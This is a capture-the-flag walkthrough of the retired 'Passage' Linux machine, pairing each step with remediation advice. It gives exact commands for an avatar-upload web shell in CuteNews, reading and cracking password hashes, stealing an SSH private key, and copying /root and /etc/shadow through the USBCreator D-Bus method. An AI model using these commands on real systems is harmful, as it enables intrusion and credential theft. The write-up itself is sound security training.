← all walkthroughs

Passage

Linux· Medium· Web
owned
2026-07-09
time to own
26m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fingerprinted a CuteNews 2.1.2 web application on the target's Apache server and exploited a known unauthenticated avatar file-upload flaw (CVE-2019-11447) to execute code as the web service account. From that foothold I read CuteNews's flat-file credential store, extracted unsalted SHA-256 password hashes, and cracked local user paul's password offline in seconds.

Because external SSH access to paul was blocked by network filtering, I drove a terminal-wrapped 'su' command through the existing web shell to reach paul's session and capture the user flag. Paul's unpassphrase-protected SSH private key was then read through the same channel; that key was trusted by a second local account, nadav, via an authorized_keys entry.

Loopback SSH with the stolen key gave a shell as nadav, who is a member of the sudo group. Ubuntu's USBCreator D-Bus polkit policy grants sudo-group members the right to copy arbitrary files as root without a password prompt; I called that method to copy /root/root.txt to a world-readable path, achieving full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService enumeration and CMS version fingerprinting
Mapped open services and identified CuteNews 2.1.2 on the web server
A port scan confirmed SSH on 22 and HTTP on 80. The bare IP returned an empty body; the server required the virtual hostname 'passage.htb' as a Host header before serving content. Once that header was supplied, the /CuteNews/ path was immediately visible. Response headers included a CUTENEWS_SESSION cookie, and page content confirmed version 2.1.2 — publicly known to be vulnerable to unauthenticated remote code execution via avatar upload (CVE-2019-11447, ExploitDB 48800).
Nmap: 22/tcp open ssh OpenSSH 7.2p2 Ubuntu, 80/tcp open http; CUTENEWS_SESSION header confirmed CuteNews 2.1.2.
Exact commands 3
Identify open services and banners.
nmap -Pn -p22,80 -sV --script=http-title,http-server-header $TARGET
Register the required virtual hostname for all subsequent requests.
echo "$TARGET passage.htb" | sudo tee -a /etc/hosts
Confirm the application path and observe the CUTENEWS_SESSION cookie.
curl -sS -H 'Host: passage.htb' http://$TARGET/CuteNews/ -I
2ExploitationUnrestricted File Upload leading to Remote Code Execution (CVE-2019-11447 / CWE-434)
Achieved remote code execution via the CuteNews avatar file-upload flaw (CVE-2019-11447)
CuteNews 2.1.2 allows any registered user to upload a profile avatar and checks only the first few bytes of the file for an image magic-byte prefix — it does not strip or validate the file extension. By registering a throwaway account, prepending the GIF magic bytes ('GIF8;') to a PHP web shell, and uploading the file with a .php extension, I caused the server to store the file under /CuteNews/uploads/ with its original extension intact. Requesting that path caused Apache's PHP handler to execute the embedded code as the www-data process owner, yielding an interactive command-execution channel.
Exact commands 3
Retrieve the public exploit as a reference for the registration and upload flow.
searchsploit -m 48800
Custom non-interactive exploit: self-registers a user, uploads a GIF-prefixed PHP shell as an avatar, then executes each quoted argument via the uploaded file.
python3 /opt/hexstrike-ai/cutenews_rce_once.py http://$TARGET 'id' 'whoami' 'ls -la /home' 'find /home -maxdepth 3 -name user.txt -type f 2>/dev/null'
Verify code execution directly. Should return uid=33(www-data). Replace <user> with the registered username.
curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=id' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"
FixPatch or replace CuteNews 2.1.2 and block script execution in the uploads directoryCritical
WeaknessCuteNews 2.1.2 validates avatar uploads by checking for image magic bytes only, without stripping or blocking executable extensions. Any registered user — including a self-registered an unauthorised user — can upload a PHP file disguised as an image and execute it through Apache, obtaining a web shell.
FixRemove CuteNews 2.1.2 and migrate to an actively maintained CMS. If immediate replacement is not possible: (1) disable self-registration; (2) configure Apache or Nginx to deny execution of all scripts inside the uploads directory (Options -ExecCGI, php_flag engine off, or a deny-all .htaccess); (3) validate uploads by magic bytes with finfo_file() or getimagesize(), not by MIME header or extension alone; (4) store uploaded files with randomised names and no executable extension.
3Credential AccessApplication credential store dumping and offline hash cracking (T1003 / T1110.002)
Read the CuteNews flat-file credential store and cracked paul's password offline
CuteNews stores all account records as base64-encoded PHP-serialised data in a plaintext file at cdata/users/lines, readable by the www-data process. I fetched this file through the web shell, decoded the base64 blobs, and extracted unsalted SHA-256 password hashes for several accounts including admin and paul-coles. Because SHA-256 is a general-purpose, fast hashing algorithm and the hashes carry no salt, hashcat recovered the plaintext '[REDACTED: recovered credential]' from the rockyou wordlist in seconds. The same password was also set as paul's Linux OS login credential.
Admin sha256=[REDACTED: recovered credential]; hashcat mode 1400 recovered [REDACTED: recovered credential] for paul-coles.
Exact commands 2
Extract raw SHA-256 hashes from the CuteNews user store via the web shell.
curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /var/www/html/CuteNews/cdata/users/lines' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php" | grep -oE '[a-f0-9]{64}' > hashes.txt
Mode 1400 = raw (unsalted) SHA-256. Recovers [REDACTED: recovered credential] for paul's hash within seconds.
hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt --force
FixReplace unsalted SHA-256 password storage with a modern adaptive hash and enforce cross-service password uniquenessHigh
WeaknessCuteNews stored account passwords as unsalted SHA-256 hashes in a flat file readable by the web process. Unsalted fast hashes are trivially reversed against standard wordlists with commodity hardware in seconds. The same plaintext password was also set as the user's Linux OS credential, turning a web-application breach into full OS account takeover.
FixConfigure CuteNews (or its replacement) to hash passwords with bcrypt, scrypt, or Argon2id — algorithms that are salted by design and deliberately slow to evaluate, making offline cracking infeasible after a credential-store leak. Enforce an organisational policy prohibiting reuse of web-application passwords as OS or service-account credentials. Restrict the CuteNews data directory so that the web process has read access only to what it strictly requires.
4Lateral MovementIn-session privilege switch via OS credentials (T1078.003)
Switched to paul's Linux account through the web shell using a pseudo-terminal wrapper
Direct SSH to paul from my network was blocked — repeated nmap probes showed port 22 filtered externally. Instead, I drove 'su - paul' through the existing www-data web shell. The su utility refuses to run unless it is connected to a real terminal, so a plain pipe fails with 'must be run from a terminal'. The workaround is to wrap the command in 'script -q /dev/null -c ...' to allocate a pseudo-tty, and to introduce a one-second delay before piping the password to survive the su authentication timing window. This yielded command execution as paul and allowed reading the user flag at /home/paul/user.txt.
The pty-wrapped su invocation returned uid=1000(paul) and the contents of /home/paul/user.txt.
Exact commands 1
Drives su through the web shell with a pty wrapper. Returns uid=1000(paul) and <user.txt>.
curl -sS -H 'Host: passage.htb' --data-urlencode "cmd=(sleep 1; printf '$PASSWORD\n') | script -q /dev/null -c \"su - paul -c 'id; cat /home/paul/user.txt'\"" "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"
5Lateral MovementSSH private key theft and cross-account lateral movement (T1552.004 / T1021.004)
Stole paul's unprotected SSH private key and authenticated as nadav over the loopback interface
Paul's home directory at /home/paul/.ssh/id_rsa held an RSA private key with no passphrase. Separately, nadav's authorized_keys file contained paul's matching public key — a cross-account SSH trust that requires no password. I exfiltrated the private key through the web shell and used it to SSH to nadav@127.0.0.1 over the loopback address, bypassing any external firewall filtering on port 22. This gave an interactive shell as nadav (uid=1000), who is a member of the sudo, adm, and lpadmin groups.
Exact commands 3
Exfiltrate paul's unprotected private key via the web shell.
curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /home/paul/.ssh/id_rsa' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php" > paul_id_rsa && chmod 600 paul_id_rsa
Confirm paul's public key is listed as trusted by nadav before attempting SSH.
curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /home/nadav/.ssh/authorized_keys' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"
Authenticate as nadav over loopback using the stolen key — bypasses external filtering on port 22.
ssh -i paul_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null nadav@127.0.0.1
FixRemove cross-account SSH key trust and protect all private keys with passphrasesHigh
WeaknessPaul's SSH private key was stored without a passphrase, and nadav's authorized_keys file unconditionally trusted paul's public key. A single file read through the web shell was sufficient for lateral movement between the two accounts — no separate credential or user interaction was required.
FixAudit every authorized_keys file on the system and remove entries that grant one local user account SSH access to another unless there is a documented, approved requirement. Protect all private keys with strong passphrases (ssh-keygen -p). Consider deploying an OpenSSH certificate authority so that trust relationships are centrally controlled and expiring, rather than accumulating silently in individual authorized_keys files.
6Privilege EscalationUSBCreator D-Bus polkit bypass for arbitrary file copy as root (T1548 / CWE-269)
Used the USBCreator D-Bus service to copy root-owned files without a password
Ubuntu ships a D-Bus interface for USBCreator (com.ubuntu.USBCreator) that exposes a method named 'Image' intended for writing disk images to USB drives. Ubuntu's polkit policy grants this method to any member of the sudo group without requiring the user to enter a password or confirm the action. Nadav is in the sudo group. The method accepts an arbitrary source path and destination path and copies the source file as root. I called it with /root/root.txt as the source and /tmp/root.txt as the destination, making the root flag world-readable. The same primitive could be used to overwrite /etc/sudoers, /etc/passwd, or SSH authorized_keys to establish a persistent, fully privileged backdoor.
Gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /tmp/root.t[xt] — executed in nadav's SSH session.
Exact commands 3
Run as nadav on the target. Copies /root/root.txt to /tmp/root.txt as root, with no password prompt.
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /tmp/root.txt true
Read the copied root flag — value is <root.txt>.
cat /tmp/root.txt
Alternative demonstration: copies /etc/shadow for offline cracking, proving unrestricted root read access.
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /etc/shadow /tmp/shadow.txt true
FixRemove the USBCreator service or tighten its polkit policy to require authenticated authorisationCritical
WeaknessUbuntu's polkit policy for the USBCreator D-Bus interface allowed any member of the sudo group to copy arbitrary files as root without entering a password. Any account with sudo-group membership could read or overwrite any file on the system, including /root/root.txt, /etc/shadow, and /etc/sudoers.
FixIf the USBCreator graphical tool is not required on this server (it is a desktop utility with no server use case), remove it: 'apt remove usb-creator-common'. If it must remain: apply all pending Ubuntu security updates (the polkit policy was tightened in later releases); modify /usr/share/polkit-1/actions/com.ubuntu.usbcreator.policy to require 'auth_admin' rather than passive group membership; and apply the principle of least privilege by removing non-administrative users from the sudo group unless they specifically require it.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp